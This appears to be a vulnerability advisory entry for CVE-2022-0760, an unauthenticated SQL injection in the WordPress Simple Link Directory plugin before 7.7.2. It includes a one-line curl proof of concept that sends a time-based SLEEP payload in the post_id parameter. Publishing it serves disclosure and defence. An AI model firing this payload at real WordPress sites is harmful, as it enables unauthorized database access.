Lucene search
CydaveWPEX-ID:1C83ED73-EF02-45C0-A9AB-68A3468D2210HistoryFeb 28, 2022 - 12:00 a.m.
Simple Link Directory < 7.7.2 - Unauthenticated SQL injection
2022-02-2800:00:00
cydave
144
link directory sql injection unauthenticated
EPSS
0.029
Percentile
91.0%
The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection
curl 'http://example.com/wp-admin/admin-ajax.php' --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)'Related
cvelist
cvelist
CVE-2022-0760 Simple Link Directory < 7.7.2 - Unauthenticated SQL injection
2022-03-21 18:56:05
patchstack
patchstack
nvd
nvd
CVE-2022-0760
2022-03-21 19:15:11
prion
prion
Sql injection
2022-03-21 19:15:00
wpvulndb
wpvulndb
Simple Link Directory < 7.7.2 - Unauthenticated SQL injection
2022-02-28 00:00:00
cve
cve
CVE-2022-0760
2022-03-21 19:15:11
nuclei
nuclei
WordPress Simple Link Directory <7.7.2 - SQL injection
2023-03-05 13:42:10